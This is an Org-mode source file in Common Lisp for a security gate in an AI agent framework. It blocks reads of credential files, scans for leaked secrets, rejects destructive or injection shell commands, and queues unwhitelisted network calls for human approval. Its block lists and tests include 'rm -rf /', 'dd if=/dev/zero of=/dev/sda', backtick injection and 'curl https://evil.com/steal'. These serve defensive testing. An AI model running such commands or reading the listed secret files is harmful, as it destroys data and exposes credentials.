passepartout/org/security-dispatcher.org

SKILL: Security Dispatcher (org-skill-security-dispatcher.org)

• Deep Reasoning: Beyond Permission
  • Contract
  • Boundaries
• Implementation
  • Package Context
  • Security Configuration — network whitelist
  • Privacy filter tags (dispatcher-privacy-tags)
  • Protected file paths (dispatcher-protected-paths)
  • Content exposure patterns (dispatcher-exposure-patterns)
  • Shell safety — timeout
  • Shell safety — output limit
  • Shell safety — blocked patterns
  • Secret Path Check (dispatcher-check-secret-path)
  • dispatcher-check-core-path
  • dispatcher-check-secret-path
  • Content Exposure Scanner (dispatcher-exposure-scan)
  • Vault Secret Scanning (dispatcher-vault-scan)
  • Privacy Tag Check (dispatcher-check-privacy-tags)
  • dispatcher-check-text-for-privacy
  • Lisp Validation Gate (dispatcher-check-lisp-valid)
  • dispatcher-check-lisp-valid
  • REPL Verification Gate (dispatcher-check-repl-verified)
  • dispatcher-check-repl-verified
  • Shell Safety Check (dispatcher-check-shell-safety)
  • Network Check (dispatcher-check-network-exfil)
  • Main Security Gate (dispatcher-check)
  • Approval Processing (dispatcher-approvals-process)
  • Flight Plan Creation (dispatcher-flight-plan-create)
  • HITL In-Memory Store (Gateway-Agnostic Approval)
    • hitl-create
    • hitl-approve
    • hitl-deny
    • hitl-handle-message
  • Gate Logic (dispatcher-gate)
  • Skill Registration
• Test Suite

Deep Reasoning: Beyond Permission

The Dispatcher is the physical security layer of Passepartout. While the Policy skill ensures an action is "legal" (e.g., "Yes, you are allowed to send a Telegram message"), the Dispatcher ensures the action is "safe" by inspecting the payload content via Deep Packet Inspection.

Every action that reaches the Dispatcher has already been approved by the Reasoning pipeline. The LLM generated it, the deterministic gates verified it, and the Act stage is about to execute it. The Dispatcher is the last gate before the action touches the physical world.

The Dispatcher inspects nine vectors:

1. REPL verification — warns if a defun is written without REPL prototyping
2. Lisp syntax — blocks writes with unbalanced parens
3. Secret paths — blocks reads to .env, SSH keys, PEM files, etc.
4. Content exposure — scans for API keys, PGP blocks, tokens
5. Vault secrets — matches against stored credentials
6. Privacy tags — blocks @personal tagged content
7. Privacy text — warns if text references privacy tag names
8. Shell safety — blocks destructive commands and injection patterns
9. Network exfil — blocks unwhitelisted outbound connections

The Dispatcher also handles the Flight Plan system: when a high-risk action is blocked, it creates a Flight Plan node in the Org files that the user can manually approve.

Contract

1. (wildcard-match pattern path): returns T if path matches pattern, where * in pattern matches any number of characters.
2. (dispatcher-check-secret-path filepath): returns the matching protected pattern if filepath matches any entry in *dispatcher-protected-paths*, nil otherwise.
3. (dispatcher-check-shell-safety cmd): returns a list of matched dangerous-pattern names if cmd triggers any entry in *dispatcher-shell-blocked*, nil if safe.
4. (dispatcher-check-privacy-tags tags-list): returns T if any tag in tags-list matches a privacy filter tag, nil otherwise.
5. (dispatcher-check-network-exfil cmd): returns T (unsafe) if cmd contains an HTTP/HTTPS/FTP URL targeting an unwhitelisted domain.
6. (dispatcher-gate action context): main deterministic gate — routes by sensor and applies dispatcher-check for safety verification.
7. (hitl-create blocked-action): returns a plist with :token and :message for user-facing HITL approval.
8. (hitl-approve token): approves and re-injects a pending action. Returns T if found, nil if invalid token.
9. (hitl-deny token): denies and removes a pending action. Returns T if found, nil if invalid.

Boundaries

• Does NOT handle the gate approval routing — that is core-loop-reason.org.
• Does NOT persist HITL tokens — they live in memory only.

Implementation

Package Context

(in-package :passepartout)

Security Configuration — network whitelist

Domains that the Dispatcher considers safe for outbound connections. Network calls to unlisted domains are blocked or queued for approval. ;; REPL-VERIFIED: 2026-05-03T13:00:00

(defvar *dispatcher-network-whitelist*
  '("api.telegram.org" "matrix.org" "googleapis.com" "openai.com" "anthropic.com")
  "Domains the Dispatcher considers safe for outbound connections.")

Privacy filter tags (dispatcher-privacy-tags)

List of tag strings that mark content as private. Content with these tags is filtered from the LLM context window. Configurable via PRIVACY_FILTER_TAGS env var. ;; REPL-VERIFIED: 2026-05-03T13:00:00

(defvar *dispatcher-privacy-tags*
  (let ((env (uiop:getenv "PRIVACY_FILTER_TAGS")))
    (if env
        (uiop:split-string env :separator '(#\,))
        '("@personal")))
  "Tags marking content as private. Set via PRIVACY_FILTER_TAGS.")

Protected file paths (dispatcher-protected-paths)

Path patterns (with * wildcards) that are blocked from file reads. Covers SSH keys, PEM/PGP files, credentials, tokens, env files, and cloud configs. ;; REPL-VERIFIED: 2026-05-03T13:00:00

(defvar *dispatcher-protected-paths*
  '(".env" ".env.example" ".env.local" ".env.production"
    "*credentials*" "*cred*"
    "*id_rsa*" "*id_dsa*" "*id_ecdsa*" "*id_ed25519*"
    "*.pem" "*.key" "*.p12" "*.pfx" "*.asc" "*.gpg" "*.pgp"
    "secring.*" "pubring.*" "private-keys-v1.d/*"
    "token*" "*secret*" "*token*"
    ".netrc" ".git-credentials" "auth.json"
    ".aws/credentials" ".aws/config"
    ".kube/config" "kubeconfig"
    "*.cert" "*.crt" "*.csr"
    "*password*" "*passwd*")
  "Path patterns blocked from file reads.
Core file protection (core-*.org, core-*.lisp) handled separately by
dispatcher-check-core-path for self-build safety.")

Content exposure patterns (dispatcher-exposure-patterns)

Named regex patterns for scanning content for secret exposure. Each entry is a (name regex) pair. Matches are reported by name so downstream code can act on specific categories. ;; REPL-VERIFIED: 2026-05-03T13:00:00

(defvar *dispatcher-exposure-patterns*
  '((:pem-key "-----BEGIN +(RSA|DSA|EC|OPENSSH|PGP) +PRIVATE +KEY *-----")
    (:pgp-key "-----BEGIN +PGP +PRIVATE +KEY +BLOCK-----")
    (:pgp-public "-----BEGIN +PGP +PUBLIC +KEY +BLOCK-----")
    (:openai-key "sk-[A-Za-z0-9-]{20,}")
    (:google-key "AIza[0-9A-Za-z_-]{35}")
    (:github-token "gh[pousr]_[A-Za-z0-9]{36,}")
    (:slack-token "xox[baprs]-[A-Za-z0-9-]{24,}")
    (:env-assignment "[A-Z_]+=[A-Za-z0-9+/=_\\-]{20,}")
    (:generic-secret "(api|secret|password|token)[ ]*[:=][ ]*[\"']?[A-Za-z0-9_\\-]{16,}"))
  "Named regex patterns for secret exposure detection.")

Shell safety — timeout

Maximum seconds a shell command is allowed to run before being killed. ;; REPL-VERIFIED: 2026-05-03T13:00:00

(defvar *dispatcher-shell-timeout* 30
  "Maximum seconds for a shell command before timeout.")

Shell safety — output limit

Maximum characters of shell command output to capture. Prevents memory exhaustion from infinite output. ;; REPL-VERIFIED: 2026-05-03T13:00:00

(defvar *dispatcher-shell-max-output* 100000
  "Maximum characters of shell output to capture.")

Shell safety — blocked patterns

Destructive and injection patterns that are blocked in shell commands. Covers rm -rf /, dd, mkfs, shred, backtick injection, and $() subshell injection. ;; REPL-VERIFIED: 2026-05-03T13:00:00

(defvar *dispatcher-shell-blocked*
  '((:destructive-rm    "\\brm\\s+-rf\\s+/")
    (:destructive-dd    "\\bdd\\s+if=")
    (:destructive-mkfs  "\\bmkfs\\.")
    (:destructive-format "\\bmformat\\b")
    (:disk-wipe         "\\bshred\\s+/dev/")
    (:disk-wipe-b       "\\bwipefs\\s+/dev/")
    (:injection-backtick "`[^`]+`")
    (:injection-subshell "\\$\\([^)]+\\)"))
  "Destructive and injection patterns blocked in shell commands.")

Secret Path Check (dispatcher-check-secret-path)

;; REPL-VERIFIED: 2026-05-03T13:00:00

(defun wildcard-match (pattern path)
  "Matches PATH against PATTERN where * matches any characters."
  (let ((regex (cl-ppcre:regex-replace-all
                "\\*" (cl-ppcre:quote-meta-chars pattern) ".*")))
    (cl-ppcre:scan regex path)))

dispatcher-check-core-path

;; REPL-VERIFIED: 2026-05-06T18:00:00

(defun dispatcher-check-core-path (filepath)
  "Returns T if FILEPATH matches a core-* self-build protected pattern."
  (when (and filepath (stringp filepath))
    (or (and (>= (length filepath) 5) (string-equal (subseq filepath 0 5) "core-"))
        (cl-ppcre:scan "core-.*\\.(org|lisp)" filepath))))

dispatcher-check-secret-path

;; REPL-VERIFIED: 2026-05-03T13:00:00

(defun dispatcher-check-secret-path (filepath)
  "Returns the matching pattern if FILEPATH matches a protected path, nil otherwise."
  (when (and filepath (stringp filepath))
    (some (lambda (pattern)
            (when (wildcard-match pattern filepath)
              pattern))
          *dispatcher-protected-paths*)))

#+end_src

Content Exposure Scanner (dispatcher-exposure-scan)

;; REPL-VERIFIED: 2026-05-03T13:00:00

(defun dispatcher-exposure-scan (text)
  "Scans TEXT for patterns matching known secret formats.
Returns a list of matched category keywords."
  (when (and text (stringp text) (> (length text) 0))
    (let ((matches nil))
      (dolist (entry *dispatcher-exposure-patterns*)
        (let ((name (first entry))
              (regex (second entry)))
          (when (cl-ppcre:scan regex text)
            (push name matches))))
      matches)))

Vault Secret Scanning (dispatcher-vault-scan)

;; REPL-VERIFIED: 2026-05-03T13:00:00

(defun dispatcher-vault-scan (text)
  "Scans TEXT for known secrets from the vault."
  (when (and text (stringp text))
    (let ((found-secret nil))
      (maphash (lambda (key val)
                 (when (and val (stringp val) (> (length val) 5))
                   (when (search val text)
                     (setf found-secret key))))
               *vault-memory*)
      found-secret)))

Privacy Tag Check (dispatcher-check-privacy-tags)

;; REPL-VERIFIED: 2026-05-03T13:00:00

(defun dispatcher-check-privacy-tags (tags-list)
  "Returns T if any tag in TAGS-LIST matches a privacy filter tag."
  (when (and tags-list (listp tags-list))
    (some (lambda (tag)
            (some (lambda (private)
                    (or (string-equal tag private)
                        (search private tag :test #'string-equal)))
                  *dispatcher-privacy-tags*))
          tags-list)))

dispatcher-check-text-for-privacy

;; REPL-VERIFIED: 2026-05-03T13:00:00

(defun dispatcher-check-text-for-privacy (text)
  "Scans TEXT for leaked privacy-tagged content."
  (when (and text (stringp text))
    (let ((lower (string-downcase text)))
      (some (lambda (tag)
              (search (string-downcase tag) lower))
            *dispatcher-privacy-tags*))))

#+end_src

Lisp Validation Gate (dispatcher-check-lisp-valid)

;; REPL-VERIFIED: 2026-05-03T13:00:00

(defun org-blocks-extract (content)
  "Extracts concatenated Lisp code from #+begin_src lisp blocks in an Org string."
  (when (and content (stringp content))
    (let ((lines (uiop:split-string content :separator '(#\Newline)))
          (in-block nil)
          (code ""))
      (dolist (line lines)
        (let ((clean (string-trim '(#\Space #\Tab) line)))
          (cond
            ((search "#+begin_src lisp" clean)
             (setf in-block t))
            ((search "#+end_src" clean)
             (setf in-block nil))
            (in-block
             (setf code (concatenate 'string code line (string #\Newline)))))))
      (when (> (length code) 0) code))))

dispatcher-check-lisp-valid

;; REPL-VERIFIED: 2026-05-03T13:00:00

(defun dispatcher-check-lisp-valid (filepath content)
  "Validates Lisp syntax when writing .lisp files or Org files with lisp blocks.
Returns the validation result plist or nil if not applicable."
  (when (and content (stringp content) (> (length content) 0))
    (let ((to-validate
           (cond
             ((uiop:string-suffix-p filepath ".lisp") content)
             ((uiop:string-suffix-p filepath ".org") (org-blocks-extract content))
             (t nil))))
      (when to-validate
        (multiple-value-bind (valid-p err) (ignore-errors
                                            (let ((*read-eval* nil))
                                              (with-input-from-string (s (format nil "(progn ~a)" to-validate))
                                                (loop for form = (read s nil :eof) until (eq form :eof)))
                                              (values t nil)))
          (unless valid-p
            (list :status :error :reason err)))))))

#+end_src

REPL Verification Gate (dispatcher-check-repl-verified)

;; REPL-VERIFIED: 2026-05-03T13:00:00

(defun org-has-defuns-p (content)
  "Returns T if the Org content contains any #+begin_src lisp blocks with defuns."
  (when (and content (stringp content))
    (search "defun " content :test #'char-equal)))

dispatcher-check-repl-verified

;; REPL-VERIFIED: 2026-05-03T13:00:00

(defun dispatcher-check-repl-verified (action filepath content)
  "Warns if writing a defun to an Org file without :repl-verified metadata."
  (let ((repl-verified (getf action :repl-verified)))
    (when (and filepath
               (uiop:string-suffix-p filepath ".org")
               (org-has-defuns-p content)
               (not repl-verified))
      (list :type :LOG
            :payload (list :level :warn
                           :text (format nil "Lint: Writing defun to ~a without :repl-verified flag. Did you prototype this in the REPL first?" filepath))))))

#+end_src

Shell Safety Check (dispatcher-check-shell-safety)

;; REPL-VERIFIED: 2026-05-03T13:00:00

(defun dispatcher-check-shell-safety (cmd)
  "Checks a shell command for destructive patterns and injection vectors.
Returns a list of matched pattern names or nil if safe."
  (when (and cmd (stringp cmd) (> (length cmd) 0))
    (let ((matches nil))
      (dolist (entry *dispatcher-shell-blocked*)
        (let ((name (first entry))
              (regex (second entry)))
          (when (cl-ppcre:scan regex cmd)
            (push name matches))))
      matches)))

Network Check (dispatcher-check-network-exfil)

;; REPL-VERIFIED: 2026-05-03T13:00:00

(defun dispatcher-check-network-exfil (cmd)
  "Detects if CMD attempts to contact an unwhitelisted external host."
  (when (and cmd (stringp cmd))
    (multiple-value-bind (match regs)
        (cl-ppcre:scan-to-strings "(http|https|ftp)://([\\w\\.-]+)" cmd)
      (declare (ignore match))
      (when regs
        (let ((domain (aref regs 1)))
          (not (some (lambda (safe) (search safe domain))
                    *dispatcher-network-whitelist*)))))))

Main Security Gate (dispatcher-check)

;; REPL-VERIFIED: 2026-05-03T13:00:00

(defun dispatcher-check (action context)
  "Security gate for high-risk actions.
Vectors: lisp validation, secret path, secret content, vault secrets,
privacy tags, privacy text, shell safety, network exfil, high-impact approval."
  (declare (ignore context))
  (let* ((target (proto-get action :target))
         (payload (proto-get action :payload))
         (text (or (proto-get payload :text) (proto-get action :text)))
         (filepath (or (proto-get payload :filepath)
                       (when (equal (proto-get payload :tool) "read-file")
                         (proto-get (proto-get payload :args) :filepath))
                       (when (equal (proto-get payload :tool) "write-file")
                         (proto-get (proto-get payload :args) :filepath))))
         (content (when filepath (proto-get (proto-get payload :args) :content)))
         (cmd (or (proto-get payload :cmd)
                  (when (and (eq target :tool) (equal (proto-get payload :tool) "shell"))
                    (proto-get (proto-get payload :args) :cmd))))
         (approved (proto-get action :approved))
         (tags (proto-get payload :tags))
         (lisp-valid (when (and filepath content (not approved))
                       (dispatcher-check-lisp-valid filepath content)))
         (repl-lint (when (and filepath content (not approved))
                     (dispatcher-check-repl-verified action filepath content))))
    (cond
      (approved action)

       ;; Vector 0: REPL verification lint (warn, don't block)
      (repl-lint
       (log-message "DISPATCHER: ~a" (proto-get repl-lint :text))
       action)

       ;; Vector 1: Lisp syntax validation (block bad lisp writes)
      ((and lisp-valid (eq (getf lisp-valid :status) :error))
       (log-message "LINT VIOLATION: Blocked write — lisp syntax error in ~a: ~a" filepath (getf lisp-valid :reason))
       (list :type :LOG
             :payload (list :level :error
                            :text (format nil "Lisp syntax error in ~a: ~a. The write was blocked. Fix the parenthesis balance and retry." filepath (getf lisp-valid :reason)))))

      ;; Vector 2: File read to a protected secret path
      ((and filepath (dispatcher-check-secret-path filepath))
       (let ((matched (dispatcher-check-secret-path filepath)))
         (log-message "SECURITY VIOLATION: Blocked read of protected path '~a' (matched: ~a)" filepath matched)
         (list :type :LOG
               :payload (list :level :error
                              :text (format nil "Action blocked: Attempted read of protected path '~a'" filepath)))))

      ;; Vector 2b: Self-build safety — core file writes require HITL approval
      ((and filepath content
            (string-equal (uiop:getenv "SELF_BUILD_MODE") "true")
            (dispatcher-check-core-path filepath))
       (log-message "SELF-BUILD: Core file write to '~a' requires approval" filepath)
       (list :type :EVENT :level :approval-required
             :payload (list :sensor :approval-required :action action
                            :message (format nil "Core file write blocked: '~a' requires HITL approval via Flight Plan." filepath))))

      ;; Vector 3: Content contains secret patterns
      ((and text (dispatcher-exposure-scan text))
       (let ((matched (dispatcher-exposure-scan text)))
         (log-message "SECURITY VIOLATION: Content contains secret patterns: ~a" matched)
         (list :type :LOG
               :payload (list :level :error
                              :text "Action blocked: Content contains potential secret exposure."))))

      ;; Vector 4: Content contains vault secrets
      ((and text (dispatcher-vault-scan text))
       (let ((secret-name (dispatcher-vault-scan text)))
         (log-message "SECURITY VIOLATION: Blocked potential leak of secret '~a'" secret-name)
         (list :type :LOG
               :payload (list :level :error
                              :text (format nil "Action blocked: Potential exposure of '~a'" secret-name)))))

      ;; Vector 5: Privacy-tagged content in action
      ((and tags (dispatcher-check-privacy-tags tags))
       (log-message "PRIVACY VIOLATION: Action contains privacy-tagged content")
       (list :type :LOG
             :payload (list :level :warn
                            :text "Action blocked: Content tagged with privacy filter.")))

      ;; Vector 6: Text leaks privacy tag names
      ((and text (dispatcher-check-text-for-privacy text))
       (log-message "PRIVACY WARNING: Text may contain leaked private content")
       (list :type :LOG
             :payload (list :level :warn
                            :text "Action blocked: Text may reference private content.")))

       ;; Vector 7: Shell destructive/injection patterns
      ((and cmd (dispatcher-check-shell-safety cmd))
       (let ((matched (dispatcher-check-shell-safety cmd)))
         (log-message "SHELL VIOLATION: Destructive or injection pattern in command: ~a" matched)
         (list :type :LOG
               :payload (list :level :error
                              :text (format nil "Shell command blocked: contains unsafe pattern ~a" matched)))))

      ;; Vector 8: Network exfiltration
      ((and (or (eq target :shell)
                (and (eq target :tool) (equal (proto-get payload :tool) "shell")))
            (dispatcher-check-network-exfil cmd))
        (log-message "SECURITY WARNING: External network call detected. Queuing for approval.")
        (list :type :EVENT :level :approval-required
              :payload (list :sensor :approval-required :action action)))

      ;; Vector 8: High-impact action approval
      ((or (member target '(:shell))
           (and (eq target :tool) (member (proto-get payload :tool) '("shell" "repair-file") :test #'string=))
           (and (eq target :emacs) (eq (proto-get payload :action) :eval))
           (and (eq target :system) (eq (proto-get payload :action) :eval)))
       (log-message "SECURITY: High-impact action requires approval: ~a" (or (proto-get payload :tool) target))
       (list :type :EVENT :payload (list :sensor :approval-required :action action)))
      (t action))))

Approval Processing (dispatcher-approvals-process)

;; REPL-VERIFIED: 2026-05-03T13:00:00

(defun dispatcher-approvals-process ()
  "Scans for APPROVED flight plans and re-injects them."
  (let ((approved-nodes (memory-objects-by-attribute :TODO "APPROVED"))
        (found-any nil))
    (dolist (node approved-nodes)
      (let* ((attrs (memory-object-attributes node))
             (tags (getf attrs :TAGS))
             (action-str (getf attrs :ACTION)))
        (when (and (member "FLIGHT_PLAN" tags :test #'string-equal) action-str)
          (log-message "DISPATCHER: Found approved flight plan '~a'. Re-injecting..." (memory-object-id node))
          (let ((action (ignore-errors (read-from-string action-str))))
            (when action
              (setf (getf action :approved) t)
              (stimulus-inject (list :type :EVENT
                                     :payload (list :sensor :approval-required
                                                    :action action
                                                    :approved t)
                                     :meta (list :source :system)))
              (setf (getf (memory-object-attributes node) :TODO) "DONE")
              (setq found-any t))))))
    found-any))

Flight Plan Creation (dispatcher-flight-plan-create)

;; REPL-VERIFIED: 2026-05-03T13:00:00

(defun dispatcher-flight-plan-create (blocked-action)
  "Creates a Flight Plan node for manual approval in Emacs."
  (let ((id (remove #\- (princ-to-string (uuid:make-v4-uuid)))))
    (log-message "DISPATCHER: Creating flight plan node '~a'..." id)
    (list :type :REQUEST :target :emacs
          :payload (list :action :insert-node :id id
                         :attributes (list :TITLE "Flight Plan: High-Risk Action"
                                           :TODO "PLAN" :TAGS '("FLIGHT_PLAN")
                                           :ACTION (format nil "~s" blocked-action))))))

HITL In-Memory Store (Gateway-Agnostic Approval)

For TUI, CLI, and Signal/Telegram users who don't have Emacs. Pending actions are stored in memory with a correlation token. The user replies with the token to approve or deny.

;; REPL-VERIFIED: 2026-05-03T13:00:00

(defvar *hitl-pending* (make-hash-table :test 'equal)
  "Maps correlation token → blocked-action plist for pending HITL approvals.")

hitl-create

A new HITL entry is created whenever the deterministic engine returns an :approval-required level action. A correlation token is generated and the blocked action is stored for later retrieval by hitl-approve or hitl-deny.

;; REPL-VERIFIED: 2026-05-03T13:00:00

(defun hitl-create (blocked-action)
  "Saves a blocked action for HITL approval. Returns a plist with
:token (the correlation ID) and :message (user-facing text)."
  (let* ((token (format nil "HITL-~a" (subseq (remove #\- (princ-to-string (uuid:make-v4-uuid))) 0 8))))
    (setf (gethash token *hitl-pending*) blocked-action)
    (log-message "HITL: Created pending approval ~a" token)
    (list :token token
          :message (format nil "HITL: Action requires approval [~a]. Reply /approve ~a to approve." token token))))

hitl-approve

When the user sends an approval command with a valid token, the blocked action is retrieved, stamped with :approved t, and re-injected into the pipeline via stimulus-inject. The perceive gate detects the :approval-required sensor with :approved t and processes it.

;; REPL-VERIFIED: 2026-05-03T13:00:00

(defun hitl-approve (token)
  "Approves a pending HITL action by token. Re-injects with :approved t.
Returns T if found and approved, nil if token is invalid."
  (let ((action (gethash token *hitl-pending*)))
    (if action
        (progn
          (remhash token *hitl-pending*)
          (setf (getf action :approved) t)
          (stimulus-inject (list :type :EVENT
                                  :payload (list :sensor :approval-required
                                                 :action action
                                                 :approved t)
                                  :meta (list :source :system)))
          (log-message "HITL: Approved ~a — re-injected" token)
          t)
        (progn
          (log-message "HITL: Token ~a not found in pending" token)
          nil))))

hitl-deny

Denial removes the pending action from the store without re-injecting it. The action is silently discarded and the token becomes invalid for future use.

;; REPL-VERIFIED: 2026-05-03T13:00:00

(defun hitl-deny (token)
  "Denies a pending HITL action by token. Removes it from the pending store.
Returns T if found, nil if token is invalid."
  (if (gethash token *hitl-pending*)
      (progn
        (remhash token *hitl-pending*)
        (log-message "HITL: Denied ~a" token)
        t)
      (progn
        (log-message "HITL: Token ~a not found in pending" token)
        nil)))

hitl-handle-message

The universal entry point for HITL commands arriving from any gateway. Parses the text for /approve, /deny, approve, or deny followed by a token, dispatches to hitl-approve or hitl-deny, and returns T if the message was a HITL command (so the gateway knows not to inject it into the main pipeline).

;; REPL-VERIFIED: 2026-05-03T13:00:00

(defun hitl-handle-message (text &optional source)
  "Checks if TEXT is a HITL approval or denial command.
If it matches, processes the command and returns T.
Otherwise returns nil (text should be handled as normal input).
Recognized formats:
  /approve HITL-abc123
  /deny HITL-abc123
  approve HITL-abc123
  deny HITL-abc123"
  (let ((text (string-trim '(#\Space) (or text ""))))
    (when (or (uiop:string-prefix-p (string-downcase "/approve") (string-downcase text))
              (uiop:string-prefix-p (string-downcase "approve") (string-downcase text)))
      (let* ((parts (uiop:split-string text :separator '(#\Space #\Tab)))
             (token (when (> (length parts) 1) (second parts))))
        (when (and token (hitl-approve token))
          (log-message "HITL: Approved via ~a — ~a" (or source :unknown) token)
          (return-from hitl-handle-message t))))
    (when (or (uiop:string-prefix-p (string-downcase "/deny") (string-downcase text))
              (uiop:string-prefix-p (string-downcase "deny") (string-downcase text)))
      (let* ((parts (uiop:split-string text :separator '(#\Space #\Tab)))
             (token (when (> (length parts) 1) (second parts))))
        (when (and token (hitl-deny token))
          (log-message "HITL: Denied via ~a — ~a" (or source :unknown) token)
          (return-from hitl-handle-message t))))
    nil))

Gate Logic (dispatcher-gate)

;; REPL-VERIFIED: 2026-05-03T13:00:00

(defun dispatcher-gate (action context)
  "Main deterministic gate for the Security Dispatcher skill."
  (let* ((payload (getf context :payload))
         (sensor (getf payload :sensor)))
    (case sensor
      (:approval-required
       (dispatcher-flight-plan-create (getf payload :action)))
      (:heartbeat
       (dispatcher-approvals-process)
       (if action (dispatcher-check action context) action))
      (otherwise
       (if action (dispatcher-check action context) action)))))

Skill Registration

(defskill :passepartout-security-dispatcher
  :priority 150
  :trigger (lambda (ctx) (declare (ignore ctx)) t)
  :deterministic #'dispatcher-gate)

Test Suite

(eval-when (:compile-toplevel :load-toplevel :execute)
  (ql:quickload :fiveam :silent t))

(defpackage :passepartout-security-dispatcher-tests
  (:use :cl :fiveam :passepartout)
  (:export #:dispatcher-suite))

(in-package :passepartout-security-dispatcher-tests)

(def-suite dispatcher-suite :description "Verification of the Security Dispatcher")
(in-suite dispatcher-suite)

(test test-wildcard-match
  "Contract 1: wildcard pattern * matches any characters."
  (is (wildcard-match "*.env" ".env"))
  (is (wildcard-match "*.env" "prod.env"))
  (is (wildcard-match "*credential*" "my-credential-file"))
  (is (wildcard-match "*.key" "id_rsa.key"))
  (is (not (wildcard-match "*.env" "config.yaml"))))

(test test-check-secret-path
  "Contract 2: dispatcher-check-secret-path matches protected patterns."
  (is (dispatcher-check-secret-path ".env"))
  (is (dispatcher-check-secret-path "id_rsa"))
  (is (not (dispatcher-check-secret-path "README.org"))))

(test test-self-build-core-protection
  "Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE."
  ;; Core paths are recognized
  (is (passepartout::dispatcher-check-core-path "core-loop-reason.org"))
  (is (passepartout::dispatcher-check-core-path "core-memory.lisp"))
  (is (not (passepartout::dispatcher-check-core-path "gateway-tui-view.org")))
  ;; With SELF_BUILD_MODE=true, core writes produce approval-required
  (let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-loop-reason.org" :content "x")))))
    (setf (uiop:getenv "SELF_BUILD_MODE") "true")
    (let ((result (dispatcher-check action nil)))
      (is (eq :approval-required (getf result :level)))
      (setf (uiop:getenv "SELF_BUILD_MODE") "false"))
    ;; With SELF_BUILD_MODE=false (default), writes pass through
    (let ((result (dispatcher-check action nil)))
      (is (eq :REQUEST (getf result :type))))))

(test test-check-shell-safety
  "Contract 3: dispatcher-check-shell-safety detects dangerous commands."
  (is (dispatcher-check-shell-safety "rm -rf /"))
  (is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
  (is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
  (is (not (dispatcher-check-shell-safety "echo hello world")))
  (is (not (dispatcher-check-shell-safety "ls -la /tmp"))))

(test test-check-privacy-tags
  "Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
  (is (dispatcher-check-privacy-tags '("@personal" ":project:")))
  (is (dispatcher-check-privacy-tags '("@personal")))
  (is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))

(test test-check-network-exfil
  "Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
  (is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
  (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
  (is (not (dispatcher-check-network-exfil "echo hello"))))